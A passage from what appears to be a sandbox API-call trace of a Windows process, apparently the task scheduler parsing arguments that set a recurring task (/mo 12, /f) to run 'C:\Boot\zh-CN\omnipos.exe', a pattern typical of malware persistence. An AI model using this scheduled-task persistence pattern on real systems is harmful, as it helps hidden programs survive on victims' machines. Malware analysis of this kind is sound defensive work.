_Buf2=0xff901b08, _Size=0x7) returned 0 [0089.857] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0089.857] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0089.857] lstrlenW (lpString="|create|") returned 8 [0089.857] lstrlenW (lpString="|mo|") returned 4 [0089.857] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0089.857] SetLastError (dwErrCode=0x490) [0089.857] lstrlenW (lpString="delete") returned 6 [0089.857] lstrlenW (lpString="delete") returned 6 [0089.857] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.857] lstrlenW (lpString="mo") returned 2 [0089.857] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.857] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0089.857] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0089.857] lstrlenW (lpString="|delete|") returned 8 [0089.858] lstrlenW (lpString="|mo|") returned 4 [0089.858] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0089.858] SetLastError (dwErrCode=0x490) [0089.858] lstrlenW (lpString="query") returned 5 [0089.858] lstrlenW (lpString="query") returned 5 [0089.858] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.858] lstrlenW (lpString="mo") returned 2 [0089.858] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.858] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0089.858] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0089.858] lstrlenW (lpString="|query|") returned 7 [0089.858] lstrlenW (lpString="|mo|") returned 4 [0089.858] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0089.858] SetLastError (dwErrCode=0x490) [0089.858] lstrlenW (lpString="change") returned 6 [0089.858] lstrlenW (lpString="change") returned 6 [0089.858] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.858] lstrlenW (lpString="mo") returned 2 [0089.858] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.858] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0089.858] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0089.858] lstrlenW (lpString="|change|") returned 8 [0089.858] lstrlenW (lpString="|mo|") returned 4 [0089.858] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0089.858] SetLastError (dwErrCode=0x490) [0089.858] lstrlenW (lpString="run") returned 3 [0089.858] lstrlenW (lpString="run") returned 3 [0089.858] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.858] lstrlenW (lpString="mo") returned 2 [0089.858] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.859] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0089.859] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0089.859] lstrlenW (lpString="|run|") returned 5 [0089.859] lstrlenW (lpString="|mo|") returned 4 [0089.859] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0089.859] SetLastError (dwErrCode=0x490) [0089.859] lstrlenW (lpString="end") returned 3 [0089.859] lstrlenW (lpString="end") returned 3 [0089.859] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.859] lstrlenW (lpString="mo") returned 2 [0089.859] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.859] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0089.859] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0089.859] lstrlenW (lpString="|end|") returned 5 [0089.859] lstrlenW (lpString="|mo|") returned 4 [0089.859] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0089.859] SetLastError (dwErrCode=0x490) [0089.859] lstrlenW (lpString="showsid") returned 7 [0089.859] lstrlenW (lpString="showsid") returned 7 [0089.859] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.859] lstrlenW (lpString="mo") returned 2 [0089.859] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.859] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0089.859] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0089.859] lstrlenW (lpString="|showsid|") returned 9 [0089.859] lstrlenW (lpString="|mo|") returned 4 [0089.859] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0089.859] SetLastError (dwErrCode=0x490) [0089.859] SetLastError (dwErrCode=0x490) [0089.859] SetLastError (dwErrCode=0x0) [0089.859] lstrlenW (lpString="/mo") returned 3 [0089.859] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0089.860] SetLastError (dwErrCode=0x490) [0089.860] SetLastError (dwErrCode=0x0) [0089.860] lstrlenW (lpString="/mo") returned 3 [0089.860] GetProcessHeap () returned 0x350000 [0089.860] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x8) returned 0x36d2d0 [0089.860] GetProcessHeap () returned 0x350000 [0089.860] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dcb0 [0089.860] SetLastError (dwErrCode=0x0) [0089.860] SetLastError (dwErrCode=0x0) [0089.860] lstrlenW (lpString="12") returned 2 [0089.860] lstrlenW (lpString="-/") returned 2 [0089.860] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0089.860] SetLastError (dwErrCode=0x490) [0089.860] SetLastError (dwErrCode=0x490) [0089.860] SetLastError (dwErrCode=0x0) [0089.860] lstrlenW (lpString="12") returned 2 [0089.860] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0089.860] SetLastError (dwErrCode=0x490) [0089.860] SetLastError (dwErrCode=0x0) [0089.860] lstrlenW (lpString="12") returned 2 [0089.860] GetProcessHeap () returned 0x350000 [0089.860] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x6) returned 0x36d2f0 [0089.860] GetProcessHeap () returned 0x350000 [0089.860] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dce0 [0089.860] SetLastError (dwErrCode=0x0) [0089.860] SetLastError (dwErrCode=0x0) [0089.860] lstrlenW (lpString="/tr") returned 3 [0089.860] lstrlenW (lpString="-/") returned 2 [0089.860] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.860] lstrlenW (lpString="?") returned 1 [0089.860] lstrlenW (lpString="?") returned 1 [0089.860] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.860] lstrlenW (lpString="tr") returned 2 [0089.860] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.860] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0089.861] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0089.861] lstrlenW (lpString="|?|") returned 3 [0089.861] lstrlenW (lpString="|tr|") returned 4 [0089.861] SetLastError (dwErrCode=0x490) [0089.861] lstrlenW (lpString="create") returned 6 [0089.861] lstrlenW (lpString="create") returned 6 [0089.861] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.861] lstrlenW (lpString="tr") returned 2 [0089.861] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.861] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0089.861] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0089.861] lstrlenW (lpString="|create|") returned 8 [0089.861] lstrlenW (lpString="|tr|") returned 4 [0089.861] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0089.861] SetLastError (dwErrCode=0x490) [0089.861] lstrlenW (lpString="delete") returned 6 [0089.861] lstrlenW (lpString="delete") returned 6 [0089.861] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.861] lstrlenW (lpString="tr") returned 2 [0089.861] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.861] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0089.861] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0089.861] lstrlenW (lpString="|delete|") returned 8 [0089.861] lstrlenW (lpString="|tr|") returned 4 [0089.861] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0089.861] SetLastError (dwErrCode=0x490) [0089.861] lstrlenW (lpString="query") returned 5 [0089.861] lstrlenW (lpString="query") returned 5 [0089.861] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.862] lstrlenW (lpString="tr") returned 2 [0089.862] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.862] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0089.862] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0089.862] lstrlenW (lpString="|query|") returned 7 [0089.862] lstrlenW (lpString="|tr|") returned 4 [0089.862] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0089.862] SetLastError (dwErrCode=0x490) [0089.862] lstrlenW (lpString="change") returned 6 [0089.862] lstrlenW (lpString="change") returned 6 [0089.862] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.862] lstrlenW (lpString="tr") returned 2 [0089.862] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.862] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0089.862] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0089.862] lstrlenW (lpString="|change|") returned 8 [0089.862] lstrlenW (lpString="|tr|") returned 4 [0089.862] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0089.862] SetLastError (dwErrCode=0x490) [0089.862] lstrlenW (lpString="run") returned 3 [0089.862] lstrlenW (lpString="run") returned 3 [0089.862] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.862] lstrlenW (lpString="tr") returned 2 [0089.862] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.862] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0089.862] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0089.862] lstrlenW (lpString="|run|") returned 5 [0089.862] lstrlenW (lpString="|tr|") returned 4 [0089.862] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0089.862] SetLastError (dwErrCode=0x490) [0089.862] lstrlenW (lpString="end") returned 3 [0089.863] lstrlenW (lpString="end") returned 3 [0089.863] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.863] lstrlenW (lpString="tr") returned 2 [0089.863] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.863] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0089.863] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0089.863] lstrlenW (lpString="|end|") returned 5 [0089.863] lstrlenW (lpString="|tr|") returned 4 [0089.863] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0089.863] SetLastError (dwErrCode=0x490) [0089.863] lstrlenW (lpString="showsid") returned 7 [0089.863] lstrlenW (lpString="showsid") returned 7 [0089.863] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.863] lstrlenW (lpString="tr") returned 2 [0089.863] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.863] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0089.863] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0089.863] lstrlenW (lpString="|showsid|") returned 9 [0089.863] lstrlenW (lpString="|tr|") returned 4 [0089.863] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0089.863] SetLastError (dwErrCode=0x490) [0089.863] SetLastError (dwErrCode=0x490) [0089.863] SetLastError (dwErrCode=0x0) [0089.863] lstrlenW (lpString="/tr") returned 3 [0089.863] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0089.863] SetLastError (dwErrCode=0x490) [0089.863] SetLastError (dwErrCode=0x0) [0089.863] lstrlenW (lpString="/tr") returned 3 [0089.863] GetProcessHeap () returned 0x350000 [0089.863] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x8) returned 0x36d310 [0089.863] GetProcessHeap () returned 0x350000 [0089.863] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dd10 [0089.864] SetLastError (dwErrCode=0x0) [0089.864] SetLastError (dwErrCode=0x0) [0089.864] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.864] lstrlenW (lpString="-/") returned 2 [0089.864] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0089.864] SetLastError (dwErrCode=0x490) [0089.864] SetLastError (dwErrCode=0x490) [0089.864] SetLastError (dwErrCode=0x0) [0089.864] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.864] StrChrIW (lpStart="'C:\\Boot\\zh-CN\\omnipos.exe'", wMatch=0x3a) returned=":\\Boot\\zh-CN\\omnipos.exe'" [0089.864] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.864] GetProcessHeap () returned 0x350000 [0089.864] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36d330 [0089.864] _memicmp (_Buf1=0x36d330, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.864] GetProcessHeap () returned 0x350000 [0089.864] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36d350 [0089.864] GetProcessHeap () returned 0x350000 [0089.864] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36e4e0 [0089.864] _memicmp (_Buf1=0x36e4e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.864] GetProcessHeap () returned 0x350000 [0089.864] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x3a) returned 0x368180 [0089.864] SetLastError (dwErrCode=0x7a) [0089.864] SetLastError (dwErrCode=0x0) [0089.864] SetLastError (dwErrCode=0x0) [0089.864] lstrlenW (lpString="'C") returned 2 [0089.864] lstrlenW (lpString="-/") returned 2 [0089.864] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0089.865] SetLastError (dwErrCode=0x490) [0089.865] SetLastError (dwErrCode=0x490) [0089.865] SetLastError (dwErrCode=0x0) [0089.865] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.865] GetProcessHeap () returned 0x350000 [0089.865] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x38) returned 0x367bb0 [0089.865] GetProcessHeap () returned 0x350000 [0089.865] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dd40 [0089.865] SetLastError (dwErrCode=0x0) [0089.865] SetLastError (dwErrCode=0x0) [0089.865] lstrlenW (lpString="/f") returned 2 [0089.865] lstrlenW (lpString="-/") returned 2 [0089.865] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.865] lstrlenW (lpString="?") returned 1 [0089.865] lstrlenW (lpString="?") returned 1 [0089.865] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.865] lstrlenW (lpString="f") returned 1 [0089.865] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.865] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0089.865] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0089.865] lstrlenW (lpString="|?|") returned 3 [0089.865] lstrlenW (lpString="|f|") returned 3 [0089.865] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0089.865] SetLastError (dwErrCode=0x490) [0089.865] lstrlenW (lpString="create") returned 6 [0089.865] lstrlenW (lpString="create") returned 6 [0089.865] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.865] lstrlenW (lpString="f") returned 1 [0089.865] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.866] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0089.866] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0089.866] lstrlenW (lpString="|create|") returned 8 [0089.866] lstrlenW (lpString="|f|") returned 3 [0089.866] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0089.866] SetLastError (dwErrCode=0x490) [0089.866] lstrlenW (lpString="delete") returned 6 [0089.866] lstrlenW (lpString="delete") returned 6 [0089.866] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.866] lstrlenW (lpString="f") returned 1 [0089.866] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.866] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0089.866] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0089.866] lstrlenW (lpString="|delete|") returned 8 [0089.866] lstrlenW (lpString="|f|") returned 3 [0089.866] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0089.866] SetLastError (dwErrCode=0x490) [0089.866] lstrlenW (lpString="query") returned 5 [0089.866] lstrlenW (lpString="query") returned 5 [0089.866] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.866] lstrlenW (lpString="f") returned 1 [0089.866] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.866] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0089.867] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0089.867] lstrlenW (lpString="|query|") returned 7 [0089.867] lstrlenW (lpString="|f|") returned 3 [0089.867] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0089.867] SetLastError (dwErrCode=0x490) [0089.867] lstrlenW (lpString="change") returned 6 [0089.867] lstrlenW (lpString="change") returned 6 [0089.867] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.867] lstrlenW (lpString="f") returned 1 [0089.867] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.867] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0089.867] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0089.867] lstrlenW (lpString="|change|") returned 8 [0089.867] lstrlenW (lpString="|f|") returned 3 [0089.867] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0089.867] SetLastError (dwErrCode=0x490) [0089.867] lstrlenW (lpString="run") returned 3 [0089.867] lstrlenW (lpString="run") returned 3 [0089.867] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.867] lstrlenW (lpString="f") returned 1 [0089.867] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.867] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0089.868] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0089.868] lstrlenW (lpString="|run|") returned 5 [0089.868] lstrlenW (lpString="|f|") returned 3 [0089.868] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0089.868] SetLastError (dwErrCode=0x490) [0089.868] lstrlenW (lpString="end") returned 3 [0089.868] lstrlenW (lpString="end") returned 3 [0089.868] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.868] lstrlenW (lpString="f") returned 1 [0089.868] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.868] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0089.868] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0089.868] lstrlenW (lpString="|end|") returned 5 [0089.868] lstrlenW (lpString="|f|") returned 3 [0089.868] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0089.868] SetLastError (dwErrCode=0x490) [0089.868] lstrlenW (lpString="showsid") returned 7 [0089.868] lstrlenW (lpString="showsid") returned 7 [0089.868] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.868] lstrlenW (lpString="f") returned 1 [0089.868] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.869] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0089.869] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0089.869] lstrlenW (lpString="|showsid|") returned 9 [0089.869] lstrlenW (lpString="|f|") returned 3 [0089.869] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0089.869] SetLastError (dwErrCode=0x490) [0089.869] SetLastError (dwErrCode=0x490) [0089.869] SetLastError (dwErrCode=0x0) [0089.869] lstrlenW (lpString="/f") returned 2 [0089.869] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0089.869] SetLastError (dwErrCode=0x490) [0089.869] SetLastError (dwErrCode=0x0) [0089.869] lstrlenW (lpString="/f") returned 2 [0089.869] GetProcessHeap () returned 0x350000 [0089.869] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x6) returned 0x36ecb0 [0089.869] GetProcessHeap () returned 0x350000 [0089.869] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dd70 [0089.869] SetLastError (dwErrCode=0x0) [0089.869] GetProcessHeap () returned 0x350000 [0089.869] GetProcessHeap () returned 0x350000 [0089.869] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d1e0) returned 1 [0089.869] GetProcessHeap () returned 0x350000 [0089.869] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d1e0) returned 0x8 [0089.869] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d1e0 | out: hHeap=0x350000) returned 1 [0089.869] GetProcessHeap () returned 0x350000 [0089.869] GetProcessHeap () returned 0x350000 [0089.869] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dbf0) returned 1 [0089.869] GetProcessHeap () returned 0x350000 [0089.870] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dbf0) returned 0x20 [0089.870] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dbf0 | out: hHeap=0x350000) returned 1 [0089.870] GetProcessHeap () returned 0x350000 [0089.870] GetProcessHeap () returned 0x350000 [0089.870] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d270) returned 1 [0089.870] GetProcessHeap () returned 0x350000 [0089.870] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d270) returned 0x12 [0089.870] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d270 | out: hHeap=0x350000) returned 1 [0089.870] GetProcessHeap () returned 0x350000 [0089.870] GetProcessHeap () returned 0x350000 [0089.871] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc20) returned 1 [0089.871] GetProcessHeap () returned 0x350000 [0089.871] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dc20) returned 0x20 [0089.871] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc20 | out: hHeap=0x350000) returned 1 [0089.871] GetProcessHeap () returned 0x350000 [0089.871] GetProcessHeap () returned 0x350000 [0089.871] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d290) returned 1 [0089.871] GetProcessHeap () returned 0x350000 [0089.871] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d290) returned 0x8 [0089.871] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d290 | out: hHeap=0x350000) returned 1 [0089.871] GetProcessHeap () returned 0x350000 [0089.871] GetProcessHeap () returned 0x350000 [0089.871] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc50) returned 1 [0089.871] GetProcessHeap () returned 0x350000 [0089.872] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36dc50) returned 0x20 [0089.872] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc50 | out: hHeap=0x350000) returned 1 [0089.872] GetProcessHeap () returned 0x350000 [0089.872] GetProcessHeap () returned 0x350000 [0089.872] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d2b0) returned 1 [0089.872] GetProcessHeap () returned 0x350000 [0089.872] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d2b0) returned 0xe [0089.872] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d2b0 | out: hHeap=0x350000) returned 1 [0089.872] GetProcessHeap () returned 0x350000 [0089.872] GetProcessHeap () returned 0x350000 [0089.872] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc80) 